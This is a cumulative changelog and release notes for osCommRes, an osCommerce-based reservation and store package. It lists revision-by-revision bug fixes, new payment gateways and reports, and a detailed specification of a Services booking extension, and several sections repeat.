Defect-28 Bugs 394,393 minor bugs fixed now

Revision 552

Enhancement 32 Gift Voucher modified for adding event, subscription,service categories.
Enhancement 38 Deposit and site margin added in backend setup, Front-end and backend checkout completed
Enhancement 42 Auto currency value update added as separate cron page
Enhancement 31 Multiple Attendees for event added in front-end and backend-checkout

Revision 549

Issue-14:Installer problem open_basedir checking application_top removed. php5 specific function replaced with php4 function.
PDF temporary files created using reports are now removed automatically.
The popup search listbox position corrected in needed pages

Revision 546

Committed Missing Lines

Revision 544

Enhancement 43- Default Gateway,Default currency altered in the query
Fulfiller Report Altered for Delivery status email and order status updation.

Revision 541

Enhancement - 17 - Sales report
Comments : Product  sales  report updated as per specification
1. Add a check box for Tax
2. Sales by order option
3. Removing Unwanted reports

Revision 538

Google Conversion code problem fixed now

Revision 535

Issue-10 default login for fulfiller group fixed now

Revision 532

Updating language

Revision 530

Renaming images/osCommRes_OnDemand.jpg

Revision 529

Updating mainpage dummy text

Revision 528

Adding Freeway OnDemand image

Revision 526

Enhancement - 17 Changes in sales report added
Defect 27 Events sms problem fixed

Revision 523

ISSUE-10 Fullfiller default page access added, Blank page when clicking the pick&pack fixed now

Revision 520

Fixing date fields

Revision 518

Removing ^M from file

Revision 516

Defect-26 Installer Error fixed now in oscommres_v1_2_6.sql
Enchancement-40 Password encrypt and check for vBulletin added now
Enhancement -39 Blocked user added to customers page
Defect - 19 Sales Report problem fixed now

Revision 513

Defect 13:Date format problem fixed now
Defect 19-Secondary template minor bugs Problem in adding a new
template fixed now.
Enhancement 8 :Products price,More products problem fixed now.
Enhancement 17:Sales Report created as per the specification.
Enhancement 24:Subscription Date small change added.
Enhancement 29:The backend last function is stored and restored during next login.
Enhancement 30:Search is added for extensive config menus in configuration page.




Updating colour of availability_back_color.gif

Revision 497

updating sql syntax in oscommres_v1_3_0.sql

Revision 495

updating syntax in oscommres_v1_2_7.sql

Revision 493

Updating colour of products background band

Revision 491

Server 6 - Installer compatibility Mysql server version fixed now
Defect 19 - Backend configuration of infoboxes fixed now
Defect - 22 -Service calender display fixed now
Enhancement - 24 New Subscription Type Added in backend setup and front-end info page

Revision 487

Enhancement -27 Westpack gateway added
Enhancement -22 New subscription fields mismatch with "insert into query" fixed now.
Email Template mail format corrected now

Revision 484

Defect 23 Statis pages replaced into information element.
Server 6 Server compatibility page extended with support application tests

Revision 481

Repairing sql syntax install/oscommres_v1_2_6.sql

Revision 479

Adding Dummy Content tennis.jpg image

Revision 477

adding Dummy content images

Revision 475

Deleting redundant file static.php

Revision 473

Updating "directory removal" language in Compatibility testing files

Revision 471

Updating "directory removal" language in Compatibility testing files

Revision 469

Enhancement - 13 Dummy Content for Installer
Created the sample datas for event,subcription,service as per the demo site
Enhancement - 27 Westpac payment gateway added
Defect 23 Installation Test errors fixed
Server 6 Server compatability page altered as per specification

Revision 466

Fixing language in install/templates/pages/install_9.php

Revision 463

SERVER-6 Installer compatability updated for having checking file at the start and also a new simple file compat_test.php added in front-end to check the system compat without installation. Validation Fix in Survey.

Revision 461

Defect 13 - Fulfiller Report Display problems fixed

Revision 458

File name case sensitive problems corrected now by having the correct case for help files.

Revision 449

Fulfiller Report Problems fixed now
Missing function for customer survey added now

Revision 446

Enhancement - 24 subscription start date modified working added. .sql queries added

Revision 444

Enhancement-4:New Shipping Method Auspost Standard Parcel Added
Defect - 20 Session logout problem virtualpay & backend working altered
Defect - 19 template error fixed
Defect - 21 Adding session fails error fixed
Enhancement - 24 subscription start date modified working added

Revision 441

Updating language in includes/languages/english/services_resources.php and services_attributes.php

Revision 439

Updating language in sessions.php

Revision 437

Recovering files mistakenly deleted, install/oscommres.sql install/oscommerce.sql


Revision 532

Search infobox problem fixed now
Installer compatibility Test page created in Install and also in the backend Tools Box.
Text email problem for <br/ > tag solved now.
SQL File Format changed.

Revision 430

Defect 4:Static Pages problem fixed for adding tables,removing the blank line
Defect 12:Surveys problem fixed now. Now the survey link in email directs to the Freeway survey page
Issue 8 Payment selection when the installed payments counts to 1 fixed now
Issue 9:Change of country for the customer in create order fixed now
Enhancement 20: Help files altered as per specification

Revision 427

Updating naming of some install .sql files

Revision 419

OWD order cost calculated and stored in the orders table and reflected in reconcilation report
Shipping modules UPS and USPS modifed as per needed specification
Multiple attribute product status updated individually and reflected in front-end by popping error

Revision 416

Defect 16 product_info.php displaying bars problem fixed
Defect 15 Single session problem fixed now
Issue 7 Bugzilla Bug fixed now
Enhance 19 SKU element added to product and attibute level

Revision 413

Updating language in product_info.php

Revision 411

Updating colour of band image

Revsion 409

Chnging file name of oscommres_v1_2_0.sql to suit naming standard

Revision 407

Defect 3 Events check in problems corrected
Defect 9 Inventory Report Category Display Altered
Defect 10 Google conversion problem fixed now
Enhancement 10 Added the override option to subscription

Revision 404

Fixing link to help files

Revision 402

Adding .ico files for Documentation

Revision 400

Enhancement -18 Document help in Freeway added

Revison 398

Enhancement -18 Document help in Freeway added

Revision 393

Updating Mailing List links

Revision 390

Defect 10 Google Conversion code problem fixed now.
Defect 9 Inventory category Report Display problem fixed now.

Revision 387

Defect-7 Force of Seletion for Attributes added.
Issue -5 Moving static pages from Level 2 to Level1 fixed now.
Enhancement- 3 The pdf and Excel Report for products sales added.
enhancement -5 Created a update email when order is updated.

Revision 378

Changing Language for Attributes inventory control

Revision 377

Changing Language for Linked Subscriptions

Revision 376

Removing ^M's from file

Revision 375

Events setup page altered for new linked subscriptions

Revision 372

Events check in sessions left column altered for missing value

Revision 371

Events-checkin page altered for redisplay of correct search details when return from other pages.

Revision 369

File mixup problem from templates and Freeway fixed now.
Defect 3 & 4 relating to query and missing file updated now.

Revision 367

Events check-in page added
Static pages added in both backend & front-end

Revision 355

Javascript error fixed in service setup page.
Reports missing buttons and constants added
Query Missing problem fixed.

Revision 354

Service Alteration for the new View.
Edit orders page altered for descriptive errors during service addition.
Missing constant files are uploaded

Revison 350

Sessions display in the front-end for events fixed
Date display in backend report pages are modified for date offset.

Revision 339

MY account details is  Fixed - both
Service Survey Updation

Revision 335

Service step 2 error fixed
Added tick box to allow activation of services extension
FAQDesk Query Removes
service boxes included now
service reports problem fixed
price updations corrected in front-end

osCommRes 2.1.0.3

Equipment in locations which is easy to access ,delete &
update.

Fixed error when text in the left menu extends beyond a certain limit, the footer gets
out of shape.

Rearranged the default products so the images are removed from the products
description.

Removed the Custom Question that is added by default to the test events.

Standard error in the backend for Define Mainpage when it is not
writeable. Added a reference to the file location.

Created default mainpage content.

Home Link changed in configure.ph as define('HTTP_HOME_URL','');

Added the Store Name instead of osCommRes

Configuration > Front End Page Title is now working fine

Remove the error message about writing to the log file. Oops!

Updated My Account pages to be more useable.

Minor changes to support Public Subversion Repository.

 

osCommRes 2.0.3

This is an extensive addition to osCommRes. Documentation will follow shortly. Please read the Release Notes before proceeding.

These are the changes for the Services Extension:

Services

A new menu item called Services is added and menu items “Services”, “Search Service Bookings” and “Options” are added to it. These other Services menu items: Search Services, View Bookings, Services Surveys similar to the event menu items are added.

Services page

Just like in Events, Service categories and Services are added. These defining features to create a service:

Description – HTMLarea
Image
Location
Service Provider – Just like Instructors, someone who provides a service. Include payment rates like with instructors. Tick box added “ Use Resource” For example goods for hire like cars do not have a specific person who has to be assigned to the hiring but a lawyer would.) 
Day start time/Day end time
Booking granularity – The number of times each hour a booking can be started at. (If set to four, in the front end, the calendar view would be split into 15 min blocks. If set to more than four the hours in the calendar are not to be split into separate blocks. It would be too hard to display)
Cost, tax etc.
Time – length of time the service runs for.
Max Consecutive bookings – The maximum number of times a booking can be consecutively. (For example, how many 1 hour appointments in a row a customer can book a lawyer for.)
Loadings -  An option to add time periods, either as one off or recurring when prices are higher than normal by an amount or percentage. Add a date picker so they can add days to a list of Loading days.
Blocked-Out time – Either one off or recurring times each week when they do not want to allow bookings. Add Start day and time/end day and time. Add a tick box for recurring until a future date. Add a date picker to choose the future date.
Pending Period – Length of time an unpaid pending order stays in the system before it is purged.
Multiple purchase – tick box to allow more than one of the services to be purchased in the same time (For example, several hotel rooms) If Multiple purchase is set “My Bookings” in the front would show the question “How Many?” with an input field.
Conditions

Services Options

Attributes - Like attributes in products, these can have a price loading associated with them.
 
Search Service Bookings

Like the event search feature, create a Search Services page with print, move, withdraw, email and SMS functions.

Global features

Add Service, eMarketing and SMS Marketing etc. copy functionality to the customers section. Add Services to Gift Vouchers and Discounts etc.

eMarketing

The following eMarketing messages are created using the same setup as in Events messaging:

In Services > eMarketing

Reservation Confirmation – As well as an optional number of days before or after the reservation date, add the option to send x hours before or after the reservation date. (Survey Add Survey to it)

Withdrawl/Refund – Same structure as in Events (Add Survey to it)

Invite a friend – Same structure as in Events

Renewal Reminder 1 to 5 (five messages) – Same structure as in subscriptions. (Add Feedback survey to it) 

Message to all Service Reservation holders

Reservation Start Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation start, the option to send x hours before or after the reservation start is added. (This will be used to remind people about their car hire etc. start).

Reservation End Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation end, the option to send x hours before or after the reservation end is added. (This will be used to remind people about their car hire etc. end or room checkout time.)

SMS Marketing

The following SMS-Marketing messages using the same setup as in Events messaging are created:

In Services > SMS-Marketing

Reservation Confirmation – As well as an optional number of days before or after the reservation date, the option to send x hours before or after the reservation date is added. (Reservation Survey added to it)

Withdrawl/Refund – Same structure as in Events

Renewal Reminder 1 to 5 (five messages) – Same structure as in subscriptions. (Feedback survey added to it) 

Message to all Service Reservation holders

Reservation Start Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation start, the option to send x hours before or after the reservation startis added. (This will be used to remind people about their car hire etc. start).

Reservation End Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation end, the option to send x hours before or after the reservation end is added. (This will be used to remind people about their car hire etc. end or room checkout time.)

Services Reports

The following reports for the services module are added:

Surveys
Service  Viewed
Services For Sale – List of services like Events in Progress
Bookings – Either in Calendar format (Day, week, Month), or in text format. To show bookings for the period selected.
Pending Orders – With option to change status of order
Call Centre Orders – List which staff are taking the most orders, include bookings per hour by checking the number of bookings a call center staff person made compared to the length of time they were logged in for.
Customer Details – Search by Start Day, View (day, week, month) Location, Service Type, Service Provider     
Services Non-Returns
Services-Attendees
Service Utilization – The percentage of service availability compared to bookings made. Add view options for Service, Service Category and general summary.
Sales By Category
Services Sales- with option to show
Sales Tax
Service Provider Payments
Tickets
ID Cards

Report Options

Where possible these features are added to reports:

Search by Start Day, View (day, week, month) Location, Service Type, Service Provider 
Customer names are to be hyperlinked to customer details, Service Name to Order
Export options to PDF, excel and file.

Front End Functionality

Thise front end functionality has been subsequently redesigned to accomodated existing osCommRes functionality.

Avis.com view

Similar to avis.com, please create a services booking but differing as below:

Entry Page
NO rental Location
NO Additional location

Location refinement page
NO Location refinement page

Rates and Discount Page
WITH Discount Codes (Gift Vouchers)
WITH Optional equipment
WITH About this reservation box
NO Residence
NO Travel Agent Only

Car Selection Page
WITH class and rate
WITH Notes as at bottom

Rate Confirmation
WITH Rate Confimation page
INCLUDING Optional extras (Insurance etc.)
WITH Currency Conversion Button

Calendar View

This is suited more to smaller service providers where they might be able to show their services easily in calendar format.

Like in events create day, week and month calendar views. Only the day and week views are to show times available. Month view is an overview so the user can choose their week.

Further Details
The "About this Reservation" box is updated throughout the process as items are added in.
Some aspects of the front end view are using AJAX.
Add display of images (up to five per service)
Please use the css from the naturalarenting.com.au template.

Call Centre Orders

Call Centre order functionality for Services similar to the event order process already in use is created.

AJAX is used to avoid page refreshes.
At this time there are no extra items like waiting lists and overbookings.

A typical booking example would be:

Create customer
“Choose service category”
“Choose service”
“Select date and time”
Select service period, (For example how many 15 min appointment blocks with a lawyer they would like or how many days in the hotel room.)
Select “How Many” of the service they want (How many rooms they would like. How many tennis coaches they would like at once!)
“Add Attributes” (Items like non-smoking room or a double. They might have a amount or percentage cost associated with them)
Complete checkout.

These bugs have been resolved from the Alpha version.

1.) Error on creating a customer in the backend. It displays the email to be
sent to the customer but with error at bottom. ( Customer is successfully
created):

2.) Backend checkout, If the services uses resource pricing, do not display the
price at step 1.

3.) On the final step of the checkout when you ahve chosen the payment type,
there is an error:

1146 - Table 'oscommres_test.services_providers' doesn't exist

select concat(provider_firstname,' ',provider_lastname) as provider_name from
services_providers where provider_id = '0'

[TEP STOP]

4.) The order from 3 above completes but with a $0 cost.

5.) Front End, blocked out time in Calendar is not working properly. Only
showing the very first part of the day blocked out.

6.) Provider and cost to be hidden on services_info.php if resource is being
used.

7.) Prices not being shown for resources in front end when moving through
service_resources.php and services_attributes.php to check out.

8.) If the service does not have attrbutes, do not use step
services_attributes.php

9.) Remove brackets around price in FE display of attributes.

10.) Error on login during checkout process:

1054 - Unknown column 'products_type' in 'field list'

insert into customers_basket_attributes (customers_id, products_id,
products_options_id, products_options_value_id,products_type) values ('2',
'V1{1}1', '1', '1','V')

[TEP STOP]

8.) Service cost to be hidden in osCommRes/index.php/secPath/1 etc. if the
service is using resource pricing.

osCommRes 2.0.2

This is an extensive addition to osCommRes. Documentation will follow shortly. Please read the Release Notes before proceeding.

Changes made for this point release:

Front End Pages for the checkout services almost completed.
*Backend checkout for services completed.
*Reports are adjusted for the new data.
*Search Bookings is completed but without Move process.
*New Resources View is created.

These are the changes for the Services Extension:

Services

A new menu item called Services is added and menu items �Services�, �Search Service Bookings� and �Options� are added to it. These other Services menu items: Search Services, View Bookings, Services Surveys similar to the event menu items are added.

Services page

Just like in Events, Service categories and Services are added. These defining features to create a service:

Description � HTMLarea
Image
Location
Service Provider � Just like Instructors, someone who provides a service. Include payment rates like with instructors. Tick box added � Use Resource� For example goods for hire like cars do not have a specific person who has to be assigned to the hiring but a lawyer would.) 
Day start time/Day end time
Booking granularity � The number of times each hour a booking can be started at. (If set to four, in the front end, the calendar view would be split into 15 min blocks. If set to more than four the hours in the calendar are not to be split into separate blocks. It would be too hard to display)
Cost, tax etc.
Time � length of time the service runs for.
Max Consecutive bookings � The maximum number of times a booking can be consecutively. (For example, how many 1 hour appointments in a row a customer can book a lawyer for.)
Loadings -  An option to add time periods, either as one off or recurring when prices are higher than normal by an amount or percentage. Add a date picker so they can add days to a list of Loading days.
Blocked-Out time � Either one off or recurring times each week when they do not want to allow bookings. Add Start day and time/end day and time. Add a tick box for recurring until a future date. Add a date picker to choose the future date.
Pending Period � Length of time an unpaid pending order stays in the system before it is purged.
Multiple purchase � tick box to allow more than one of the services to be purchased in the same time (For example, several hotel rooms) If Multiple purchase is set �My Bookings� in the front would show the question �How Many?� with an input field.
Conditions

Services Options

Attributes - Like attributes in products, these can have a price loading associated with them.
 
Search Service Bookings

Like the event search feature, create a Search Services page with print, move, withdraw, email and SMS functions.

Global features

Add Service, eMarketing and SMS Marketing etc. copy functionality to the customers section. Add Services to Gift Vouchers and Discounts etc.

eMarketing

The following eMarketing messages are created using the same setup as in Events messaging:

In Services > eMarketing

Reservation Confirmation � As well as an optional number of days before or after the reservation date, add the option to send x hours before or after the reservation date. (Survey Add Survey to it)

Withdrawl/Refund � Same structure as in Events (Add Survey to it)

Invite a friend � Same structure as in Events

Renewal Reminder 1 to 5 (five messages) � Same structure as in subscriptions. (Add Feedback survey to it) 

Message to all Service Reservation holders

Reservation Start Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation start, the option to send x hours before or after the reservation start is added. (This will be used to remind people about their car hire etc. start).

Reservation End Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation end, the option to send x hours before or after the reservation end is added. (This will be used to remind people about their car hire etc. end or room checkout time.)

SMS Marketing

The following SMS-Marketing messages using the same setup as in Events messaging are created:

In Services > SMS-Marketing

Reservation Confirmation � As well as an optional number of days before or after the reservation date, the option to send x hours before or after the reservation date is added. (Reservation Survey added to it)

Withdrawl/Refund � Same structure as in Events

Renewal Reminder 1 to 5 (five messages) � Same structure as in subscriptions. (Feedback survey added to it) 

Message to all Service Reservation holders

Reservation Start Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation start, the option to send x hours before or after the reservation startis added. (This will be used to remind people about their car hire etc. start).

Reservation End Reminders 1 and 2 (two messages) - As well as an optional number of days before or after the reservation end, the option to send x hours before or after the reservation end is added. (This will be used to remind people about their car hire etc. end or room checkout time.)

Services Reports

The following reports for the services module are added:

Surveys
Service  Viewed
Services For Sale � List of services like Events in Progress
Bookings � Either in Calendar format (Day, week, Month), or in text format. To show bookings for the period selected.
Pending Orders � With option to change status of order
Call Centre Orders � List which staff are taking the most orders, include bookings per hour by checking the number of bookings a call center staff person made compared to the length of time they were logged in for.
Customer Details � Search by Start Day, View (day, week, month) Location, Service Type, Service Provider     
Services Non-Returns
Services-Attendees
Service Utilization � The percentage of service availability compared to bookings made. Add view options for Service, Service Category and general summary.
Sales By Category
Services Sales- with option to show
Sales Tax
Service Provider Payments
Tickets
ID Cards

Report Options

Where possible these features are added to reports:

Search by Start Day, View (day, week, month) Location, Service Type, Service Provider 
Customer names are to be hyperlinked to customer details, Service Name to Order
Export options to PDF, excel and file.

Front End Functionality

Thise front end functionality has been subsequently redesigned to accomodated existing osCommRes functionality.

Avis.com view

Similar to avis.com, please create a services booking but differing as below:

Entry Page
NO rental Location
NO Additional location

Location refinement page
NO Location refinement page

Rates and Discount Page
WITH Discount Codes (Gift Vouchers)
WITH Optional equipment
WITH About this reservation box
NO Residence
NO Travel Agent Only

Car Selection Page
WITH class and rate
WITH Notes as at bottom

Rate Confirmation
WITH Rate Confimation page
INCLUDING Optional extras (Insurance etc.)
WITH Currency Conversion Button

Calendar View

This is suited more to smaller service providers where they might be able to show their services easily in calendar format.

Like in events create day, week and month calendar views. Only the day and week views are to show times available. Month view is an overview so the user can choose their week.

Further Details
The "About this Reservation" box is updated throughout the process as items are added in.
Some aspects of the front end view are using AJAX.
Add display of images (up to five per service)
Please use the css from the naturalarenting.com.au template.

Call Centre Orders

Call Centre order functionality for Services similar to the event order process already in use is created.

AJAX is used to avoid page refreshes.
At this time there are no extra items like waiting lists and overbookings.

A typical booking example would be:

Create customer
�Choose service category�
�Choose service�
�Select date and time�
Select service period, (For example how many 15 min appointment blocks with a lawyer they would like or how many days in the hotel room.)
Select �How Many� of the service they want (How many rooms they would like. How many tennis coaches they would like at once!)
�Add Attributes� (Items like non-smoking room or a double. They might have a amount or percentage cost associated with them)
Complete checkout.

osCommRes 2.2.0.51

 

The major changes in this release are summarised below. A full list of all changes follows the summary.

==================
Summary of Changes
==================

Added Drop Shipping Module
Added external Virtual Shipper module One World Distribution
Added Installer Compatibility testing
Added new styles of subscriptions
Added susbscriptions linked to events
Added barcoded event Check In
Added simple CMS features
Added search functionality
Added complex attribute support
Added inventory control
Added SKU support
Added multiple modules
Added and improved Reports
Fixed several bugs

==================
Details of Changes
==================

Revision 510

Updating Application version

Revsion 508

updating files to fix compatibility testing

Revsion 505

Updating path to compat_test.php

Revision 503

Regressing changes of footer.php

Revision 501

updating Buy language in product_info.php

Revision 500

updating product_info.tpl.php from 1.1.0 branch

Revision 499

Updating colour of availability_back_color.gif

Revision 497

updating sql syntax in oscommres_v1_3_0.sql

Revision 495

updating syntax in oscommres_v1_2_7.sql

Revision 493

Updating colour of products background band

Revision 491

Server 6 - Installer compatibility Mysql server version fixed now
Defect 19 - Backend configuration of infoboxes fixed now
Defect - 22 -Service calender display fixed now
Enhancement - 24 New Subscription Type Added in backend setup and front-end info page

Revision 487

Enhancement -27 Westpack gateway added
Enhancement -22 New subscription fields mismatch with "insert into query" fixed now.
Email Template mail format corrected now

Revision 484

Defect 23 Statis pages replaced into information element.
Server 6 Server compatibility page extended with support application tests

Revision 481

Repairing sql syntax install/oscommres_v1_2_6.sql

Revision 479

Adding Dummy Content tennis.jpg image

Revision 477

adding Dummy content images

Revision 475

Deleting redundant file static.php

Revision 473

Updating "directory removal" language in Compatibility testing files

Revision 471

Updating "directory removal" language in Compatibility testing files

Revision 469

Enhancement - 13 Dummy Content for Installer
Created the sample datas for event,subcription,service as per the demo site
Enhancement - 27 Westpac payment gateway added
Defect 23 Installation Test errors fixed
Server 6 Server compatability page altered as per specification

Revision 466

Fixing language in install/templates/pages/install_9.php

Revision 463

SERVER-6 Installer compatability updated for having checking file at the start and also a new simple file compat_test.php added in front-end to check the system compat without installation. Validation Fix in Survey.

Revision 461

Defect 13 - Fulfiller Report Display problems fixed

Revision 458

File name case sensitive problems corrected now by having the correct case for help files.

Revision 449

Fulfiller Report Problems fixed now
Missing function for customer survey added now

Revision 446

Enhancement - 24 subscription start date modified working added. .sql queries added

Revision 444

Enhancement-4:New Shipping Method Auspost Standard Parcel Added
Defect - 20 Session logout problem virtualpay & backend working altered
Defect - 19 template error fixed
Defect - 21 Adding session fails error fixed
Enhancement - 24 subscription start date modified working added

Revision 441

Updating language in includes/languages/english/services_resources.php and services_attributes.php

Revision 439

Updating language in sessions.php

Revision 437

Recovering files mistakenly deleted, install/oscommres.sql install/oscommerce.sql


Revision 532

Search infobox problem fixed now
Installer compatibility Test page created in Install and also in the backend Tools Box.
Text email problem for <br/ > tag solved now.
SQL File Format changed.

Revision 430

Defect 4:Static Pages problem fixed for adding tables,removing the blank line
Defect 12:Surveys problem fixed now. Now the survey link in email directs to the oscommres survey page
Issue 8 Payment selection when the installed payments counts to 1 fixed now
Issue 9:Change of country for the customer in create order fixed now
Enhancement 20: Help files altered as per specification

Revision 427

Updating naming of some install .sql files

Revision 419

OWD order cost calculated and stored in the orders table and reflected in reconcilation report
Shipping modules UPS and USPS modifed as per needed specification
Multiple attribute product status updated individually and reflected in front-end by popping error

Revision 416

Defect 16 product_info.php displaying bars problem fixed
Defect 15 Single session problem fixed now
Issue 7 Bugzilla Bug fixed now
Enhance 19 SKU element added to product and attibute level

Revision 413

Updating language in product_info.php

Revision 411

Updating colour of band image

Revsion 409

Chnging file name of oscommres_v1_2_0.sql to suit naming standard

Revision 407

Defect 3 Events check in problems corrected
Defect 9 Inventory Report Category Display Altered
Defect 10 Google conversion problem fixed now
Enhancement 10 Added the override option to subscription

Revision 404

Fixing link to help files

Revision 402

Adding .ico files for Documentation

Revision 400

Enhancement -18 Document help in osCommRes added

Revison 398

Enhancement -18 Document help in osCommRes added

Revision 393

Updating Mailing List links

Revision 390

Defect 10 Google Conversion code problem fixed now.
Defect 9 Inventory category Report Display problem fixed now.

Revision 387

Defect-7 Force of Seletion for Attributes added.
Issue -5 Moving static pages from Level 2 to Level1 fixed now.
Enhancement- 3 The pdf and Excel Report for products sales added.
enhancement -5 Created a update email when order is updated.

Revision 378

Changing Language for Attributes inventory control

Revision 377

Changing Language for Linked Subscriptions

Revision 376

Removing ^M's from file

Revision 375

Events setup page altered for new linked subscriptions

Revision 372

Events check in sessions left column altered for missing value

Revision 371

Events-checkin page altered for redisplay of correct search details when return from other pages.

Revision 369

File mixup problem from templates and oscommres fixed now.
Defect 3 & 4 relating to query and missing file updated now.

Revision 367

Events check-in page added
Static pages added in both backend & front-end

Revision 355

Javascript error fixed in service setup page.
Reports missing buttons and constants added
Query Missing problem fixed.

Revision 354

Service Alteration for the new View.
Edit orders page altered for descriptive errors during service addition.
Missing constant files are uploaded

Revison 350

Sessions display in the front-end for events fixed
Date display in backend report pages are modified for date offset.

Revision 339

MY account details is  Fixed - both
Service Survey Updation

Revision 335

Service step 2 error fixed
Added tick box to allow activation of services extension
FAQDesk Query Removes
service boxes included now
service reports problem fixed
price updations corrected in front-end